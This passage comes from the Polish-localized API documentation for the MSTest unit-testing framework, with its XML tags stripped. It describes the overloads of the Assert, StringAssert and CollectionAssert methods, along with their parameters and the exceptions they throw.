wyjątek, - jeśli są równe. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone ciągi są różne, i zgłasza wyjątek, - jeśli są równe. - - - Pierwszy ciąg do porównania. To jest ciąg, który według testu - nie powinien pasować do elementu . - - - Drugi ciąg do porównania. To jest ciąg utworzony przez testowany kod. - - - Wartość logiczna wskazująca, czy porównanie uwzględnia wielkość liter. (Wartość true - wskazuje porównanie bez uwzględniania wielkości liter). - - - Obiekt CultureInfo, który określa informacje dotyczące porównania specyficznego dla kultury. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określony obiekt jest wystąpieniem oczekiwanego - typu, i zgłasza wyjątek, jeśli oczekiwany typ nie należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu powinien być określonego typu. - - - Oczekiwany typ elementu . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt jest wystąpieniem oczekiwanego - typu, i zgłasza wyjątek, jeśli oczekiwany typ nie należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu powinien być określonego typu. - - - Oczekiwany typ elementu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest wystąpieniem typu . Komunikat - jest wyświetlony w wynikach testu. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt jest wystąpieniem oczekiwanego - typu, i zgłasza wyjątek, jeśli oczekiwany typ nie należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu powinien być określonego typu. - - - Oczekiwany typ elementu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest wystąpieniem typu . Komunikat - jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt nie jest wystąpieniem nieprawidłowego - typu, i zgłasza wyjątek, jeśli podany typ należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu nie powinien być określonego typu. - - - Element nie powinien być tego typu. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt nie jest wystąpieniem nieprawidłowego - typu, i zgłasza wyjątek, jeśli podany typ należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu nie powinien być określonego typu. - - - Element nie powinien być tego typu. - - - Komunikat do dołączenia do wyjątku, gdy element - jest wystąpieniem typu . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testuje, czy określony obiekt nie jest wystąpieniem nieprawidłowego - typu, i zgłasza wyjątek, jeśli podany typ należy - do hierarchii dziedziczenia obiektu. - - - Obiekt, który według testu nie powinien być określonego typu. - - - Element nie powinien być tego typu. - - - Komunikat do dołączenia do wyjątku, gdy element - jest wystąpieniem typu . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Zgłasza wyjątek AssertFailedException. - - - Always thrown. - - - - - Zgłasza wyjątek AssertFailedException. - - - Komunikat do dołączenia do wyjątku. Komunikat jest wyświetlony - w wynikach testu. - - - Always thrown. - - - - - Zgłasza wyjątek AssertFailedException. - - - Komunikat do dołączenia do wyjątku. Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Always thrown. - - - - - Zgłasza wyjątek AssertInconclusiveException. - - - Always thrown. - - - - - Zgłasza wyjątek AssertInconclusiveException. - - - Komunikat do dołączenia do wyjątku. Komunikat jest wyświetlony - w wynikach testu. - - - Always thrown. - - - - - Zgłasza wyjątek AssertInconclusiveException. - - - Komunikat do dołączenia do wyjątku. Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Always thrown. - - - - - Statyczne przeciążenia metody equals są używane do porównywania wystąpień dwóch typów pod kątem - równości odwołań. Ta metoda nie powinna być używana do porównywania dwóch wystąpień pod kątem - równości. Ten obiekt zawsze będzie zgłaszał wyjątek za pomocą metody Assert.Fail. Użyj metody - Assert.AreEqual i skojarzonych przeciążeń w testach jednostkowych. - - Obiekt A - Obiekt B - Zawsze wartość false. - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Typ wyjątku, którego zgłoszenie jest oczekiwane. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek - - AssertFailedException - , - jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Element wykonywanie delegata. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek AssertFailedException, jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Element wykonywanie delegata. - - - - - Testuje, czy kod określony przez delegata zgłasza wyjątek dokładnie typu (a nie jego typu pochodnego) - i zgłasza wyjątek AssertFailedException, jeśli kod nie zgłasza wyjątku lub zgłasza wyjątek typu innego niż . - - Delegat dla kodu do przetestowania, który powinien zgłosić wyjątek. - - Komunikat do dołączenia do wyjątku, gdy element - nie zgłasza wyjątku typu . - - - Tablica parametrów do użycia podczas formatowania elementu . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Element wykonywanie delegata. - - - - - Zastępuje znaki null („\0”) ciągiem „\\0”. - - - Ciąg do wyszukania. - - - Przekonwertowany ciąg ze znakami null zastąpionymi ciągiem „\\0”. - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Funkcja pomocnicza, która tworzy i zgłasza wyjątek AssertionFailedException - - - nazwa asercji zgłaszającej wyjątek - - - komunikat opisujący warunki dla błędu asercji - - - Parametry. - - - - - Sprawdza parametry pod kątem prawidłowych warunków - - - Parametr. - - - Nazwa asercji. - - - nazwa parametru - - - komunikat dla wyjątku nieprawidłowego parametru - - - Parametry. - - - - - Bezpiecznie konwertuje obiekt na ciąg, obsługując wartości null i znaki null. - Wartości null są konwertowane na ciąg „(null)”. Znaki null są konwertowane na ciąg „\\0”. - - - Obiekt do przekonwertowania na ciąg. - - - Przekonwertowany ciąg. - - - - - Asercja ciągu. - - - - - Pobiera pojedyncze wystąpienie funkcji CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, czy określony ciąg zawiera podany podciąg, - i zgłasza wyjątek, jeśli podciąg nie występuje - w testowanym ciągu. - - - Ciąg, który powinien zawierać ciąg . - - - Ciąg, którego wystąpienie jest oczekiwane w ciągu . - - - Thrown if is not found in - . - - - - - Testuje, czy określony ciąg zawiera podany podciąg, - i zgłasza wyjątek, jeśli podciąg nie występuje - w testowanym ciągu. - - - Ciąg, który powinien zawierać ciąg . - - - Ciąg, którego wystąpienie jest oczekiwane w ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie znajduje się w ciągu . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not found in - . - - - - - Testuje, czy określony ciąg zawiera podany podciąg, - i zgłasza wyjątek, jeśli podciąg nie występuje - w testowanym ciągu. - - - Ciąg, który powinien zawierać ciąg . - - - Ciąg, którego wystąpienie jest oczekiwane w ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie znajduje się w ciągu . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not found in - . - - - - - Testuje, czy określony ciąg rozpoczyna się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie rozpoczyna się - podciągiem. - - - Ciąg, którego oczekiwany początek to . - - - Ciąg, który powinien być prefiksem ciągu . - - - Thrown if does not begin with - . - - - - - Testuje, czy określony ciąg rozpoczyna się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie rozpoczyna się - podciągiem. - - - Ciąg, którego oczekiwany początek to . - - - Ciąg, który powinien być prefiksem ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie zaczyna się ciągiem . Komunikat - jest wyświetlony w wynikach testu. - - - Thrown if does not begin with - . - - - - - Testuje, czy określony ciąg rozpoczyna się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie rozpoczyna się - podciągiem. - - - Ciąg, którego oczekiwany początek to . - - - Ciąg, który powinien być prefiksem ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie zaczyna się ciągiem . Komunikat - jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if does not begin with - . - - - - - Testuje, czy określony ciąg kończy się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie kończy się - podciągiem. - - - Ciąg, którego oczekiwane zakończenie to . - - - Ciąg, który powinien być sufiksem ciągu . - - - Thrown if does not end with - . - - - - - Testuje, czy określony ciąg kończy się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie kończy się - podciągiem. - - - Ciąg, którego oczekiwane zakończenie to . - - - Ciąg, który powinien być sufiksem ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie kończy się ciągiem . Komunikat - jest wyświetlony w wynikach testu. - - - Thrown if does not end with - . - - - - - Testuje, czy określony ciąg kończy się podanym podciągiem, - i zgłasza wyjątek, jeśli testowany ciąg nie kończy się - podciągiem. - - - Ciąg, którego oczekiwane zakończenie to . - - - Ciąg, który powinien być sufiksem ciągu . - - - Komunikat do dołączenia do wyjątku, gdy element - nie kończy się ciągiem . Komunikat - jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if does not end with - . - - - - - Testuje, czy określony ciąg pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg nie pasuje do wyrażenia. - - - Ciąg, który powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg ma - pasować. - - - Thrown if does not match - . - - - - - Testuje, czy określony ciąg pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg nie pasuje do wyrażenia. - - - Ciąg, który powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg ma - pasować. - - - Komunikat do dołączenia do wyjątku, gdy element - nie pasuje do wzorca . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if does not match - . - - - - - Testuje, czy określony ciąg pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg nie pasuje do wyrażenia. - - - Ciąg, który powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg ma - pasować. - - - Komunikat do dołączenia do wyjątku, gdy element - nie pasuje do wzorca . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if does not match - . - - - - - Testuje, czy określony ciąg nie pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg pasuje do wyrażenia. - - - Ciąg, który nie powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg nie - powinien pasować. - - - Thrown if matches . - - - - - Testuje, czy określony ciąg nie pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg pasuje do wyrażenia. - - - Ciąg, który nie powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg nie - powinien pasować. - - - Komunikat do dołączenia do wyjątku, gdy element - dopasowania . Komunikat jest wyświetlony w wynikach - testu. - - - Thrown if matches . - - - - - Testuje, czy określony ciąg nie pasuje do wyrażenia regularnego, - i zgłasza wyjątek, jeśli ciąg pasuje do wyrażenia. - - - Ciąg, który nie powinien pasować do wzorca . - - - Wyrażenie regularne, do którego ciąg nie - powinien pasować. - - - Komunikat do dołączenia do wyjątku, gdy element - dopasowania . Komunikat jest wyświetlony w wynikach - testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if matches . - - - - - Kolekcja klas pomocniczych na potrzeby testowania różnych warunków skojarzonych - z kolekcjami w ramach testów jednostkowych. Jeśli testowany warunek - nie jest spełniony, zostanie zgłoszony wyjątek. - - - - - Pobiera pojedyncze wystąpienie funkcji CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, czy określona kolekcja zawiera podany element, - i zgłasza wyjątek, jeśli element nie znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który powinien należeć do kolekcji. - - - Thrown if is not found in - . - - - - - Testuje, czy określona kolekcja zawiera podany element, - i zgłasza wyjątek, jeśli element nie znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który powinien należeć do kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - nie znajduje się w ciągu . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not found in - . - - - - - Testuje, czy określona kolekcja zawiera podany element, - i zgłasza wyjątek, jeśli element nie znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który powinien należeć do kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - nie znajduje się w ciągu . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not found in - . - - - - - Testuje, czy określona kolekcja nie zawiera podanego elementu, - i zgłasza wyjątek, jeśli element znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który nie powinien należeć do kolekcji. - - - Thrown if is found in - . - - - - - Testuje, czy określona kolekcja nie zawiera podanego elementu, - i zgłasza wyjątek, jeśli element znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który nie powinien należeć do kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - znajduje się w kolekcji . Komunikat jest wyświetlony w wynikach - testu. - - - Thrown if is found in - . - - - - - Testuje, czy określona kolekcja nie zawiera podanego elementu, - i zgłasza wyjątek, jeśli element znajduje się w kolekcji. - - - Kolekcja, w której ma znajdować się wyszukiwany element. - - - Element, który nie powinien należeć do kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - znajduje się w kolekcji . Komunikat jest wyświetlony w wynikach - testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is found in - . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji mają wartości inne niż null, i zgłasza - wyjątek, jeśli którykolwiek element ma wartość null. - - - Kolekcja, w której mają być wyszukiwane elementy o wartości null. - - - Thrown if a null element is found in . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji mają wartości inne niż null, i zgłasza - wyjątek, jeśli którykolwiek element ma wartość null. - - - Kolekcja, w której mają być wyszukiwane elementy o wartości null. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera element o wartości null. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if a null element is found in . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji mają wartości inne niż null, i zgłasza - wyjątek, jeśli którykolwiek element ma wartość null. - - - Kolekcja, w której mają być wyszukiwane elementy o wartości null. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera element o wartości null. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if a null element is found in . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji są unikatowe, - i zgłasza wyjątek, jeśli dowolne dwa elementy w kolekcji są równe. - - - Kolekcja, w której mają być wyszukiwane zduplikowane elementy. - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji są unikatowe, - i zgłasza wyjątek, jeśli dowolne dwa elementy w kolekcji są równe. - - - Kolekcja, w której mają być wyszukiwane zduplikowane elementy. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera co najmniej jeden zduplikowany element. Komunikat jest wyświetlony w - wynikach testu. - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, czy wszystkie elementy w określonej kolekcji są unikatowe, - i zgłasza wyjątek, jeśli dowolne dwa elementy w kolekcji są równe. - - - Kolekcja, w której mają być wyszukiwane zduplikowane elementy. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera co najmniej jeden zduplikowany element. Komunikat jest wyświetlony w - wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, czy dana kolekcja stanowi podzbiór innej kolekcji, - i zgłasza wyjątek, jeśli dowolny element podzbioru znajduje się także - w nadzbiorze. - - - Kolekcja powinna być podzbiorem . - - - Kolekcja powinna być nadzbiorem - - - Thrown if an element in is not found in - . - - - - - Testuje, czy dana kolekcja stanowi podzbiór innej kolekcji, - i zgłasza wyjątek, jeśli dowolny element podzbioru znajduje się także - w nadzbiorze. - - - Kolekcja powinna być podzbiorem . - - - Kolekcja powinna być nadzbiorem - - - Komunikat do uwzględnienia w wyjątku, gdy elementu w - nie można odnaleźć w . - Komunikat jest wyświetlany w wynikach testu. - - - Thrown if an element in is not found in - . - - - - - Testuje, czy dana kolekcja stanowi podzbiór innej kolekcji, - i zgłasza wyjątek, jeśli dowolny element podzbioru znajduje się także - w nadzbiorze. - - - Kolekcja powinna być podzbiorem . - - - Kolekcja powinna być nadzbiorem - - - Komunikat do uwzględnienia w wyjątku, gdy elementu w - nie można odnaleźć w . - Komunikat jest wyświetlany w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if an element in is not found in - . - - - - - Testuje, czy jedna kolekcja nie jest podzbiorem innej kolekcji, - i zgłasza wyjątek, jeśli wszystkie elementy w podzbiorze znajdują się również - w nadzbiorze. - - - Kolekcja nie powinna być podzbiorem . - - - Kolekcja nie powinna być nadzbiorem - - - Thrown if every element in is also found in - . - - - - - Testuje, czy jedna kolekcja nie jest podzbiorem innej kolekcji, - i zgłasza wyjątek, jeśli wszystkie elementy w podzbiorze znajdują się również - w nadzbiorze. - - - Kolekcja nie powinna być podzbiorem . - - - Kolekcja nie powinna być nadzbiorem - - - Komunikat do uwzględnienia w wyjątku, gdy każdy element w kolekcji - znajduje się również w kolekcji . - Komunikat jest wyświetlany w wynikach testu. - - - Thrown if every element in is also found in - . - - - - - Testuje, czy jedna kolekcja nie jest podzbiorem innej kolekcji, - i zgłasza wyjątek, jeśli wszystkie elementy w podzbiorze znajdują się również - w nadzbiorze. - - - Kolekcja nie powinna być podzbiorem . - - - Kolekcja nie powinna być nadzbiorem - - - Komunikat do uwzględnienia w wyjątku, gdy każdy element w kolekcji - znajduje się również w kolekcji . - Komunikat jest wyświetlany w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if every element in is also found in - . - - - - - Testuje, czy dwie kolekcje zawierają te same elementy, i zgłasza - wyjątek, jeśli któraś z kolekcji zawiera element niezawarty w drugiej - kolekcji. - - - Pierwsza kolekcja do porównania. Zawiera elementy oczekiwane przez - test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, czy dwie kolekcje zawierają te same elementy, i zgłasza - wyjątek, jeśli któraś z kolekcji zawiera element niezawarty w drugiej - kolekcji. - - - Pierwsza kolekcja do porównania. Zawiera elementy oczekiwane przez - test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do uwzględnienia w wyjątku, gdy element został odnaleziony - w jednej z kolekcji, ale nie ma go w drugiej. Komunikat jest wyświetlany - w wynikach testu. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, czy dwie kolekcje zawierają te same elementy, i zgłasza - wyjątek, jeśli któraś z kolekcji zawiera element niezawarty w drugiej - kolekcji. - - - Pierwsza kolekcja do porównania. Zawiera elementy oczekiwane przez - test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do uwzględnienia w wyjątku, gdy element został odnaleziony - w jednej z kolekcji, ale nie ma go w drugiej. Komunikat jest wyświetlany - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, czy dwie kolekcje zawierają różne elementy, i zgłasza - wyjątek, jeśli dwie kolekcje zawierają identyczne elementy bez względu - na porządek. - - - Pierwsza kolekcja do porównania. Zawiera elementy, co do których test oczekuje, - że będą inne niż rzeczywista kolekcja. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, czy dwie kolekcje zawierają różne elementy, i zgłasza - wyjątek, jeśli dwie kolekcje zawierają identyczne elementy bez względu - na porządek. - - - Pierwsza kolekcja do porównania. Zawiera elementy, co do których test oczekuje, - że będą inne niż rzeczywista kolekcja. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera te same elementy co . Komunikat - jest wyświetlany w wynikach testu. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, czy dwie kolekcje zawierają różne elementy, i zgłasza - wyjątek, jeśli dwie kolekcje zawierają identyczne elementy bez względu - na porządek. - - - Pierwsza kolekcja do porównania. Zawiera elementy, co do których test oczekuje, - że będą inne niż rzeczywista kolekcja. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera te same elementy co . Komunikat - jest wyświetlany w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Sprawdza, czy wszystkie elementy w określonej kolekcji są wystąpieniami - oczekiwanego typu i zgłasza wyjątek, jeśli oczekiwanego typu nie ma - w hierarchii dziedziczenia jednego lub większej liczby elementów. - - - Kolekcja zawierająca elementy, co do których test oczekuje, że będą - elementami określonego typu. - - - Oczekiwany typ każdego elementu kolekcji . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Sprawdza, czy wszystkie elementy w określonej kolekcji są wystąpieniami - oczekiwanego typu i zgłasza wyjątek, jeśli oczekiwanego typu nie ma - w hierarchii dziedziczenia jednego lub większej liczby elementów. - - - Kolekcja zawierająca elementy, co do których test oczekuje, że będą - elementami określonego typu. - - - Oczekiwany typ każdego elementu kolekcji . - - - Komunikat do uwzględnienia w wyjątku, gdy elementu w - nie jest wystąpieniem - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Sprawdza, czy wszystkie elementy w określonej kolekcji są wystąpieniami - oczekiwanego typu i zgłasza wyjątek, jeśli oczekiwanego typu nie ma - w hierarchii dziedziczenia jednego lub większej liczby elementów. - - - Kolekcja zawierająca elementy, co do których test oczekuje, że będą - elementami określonego typu. - - - Oczekiwany typ każdego elementu kolekcji . - - - Komunikat do uwzględnienia w wyjątku, gdy elementu w - nie jest wystąpieniem - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza 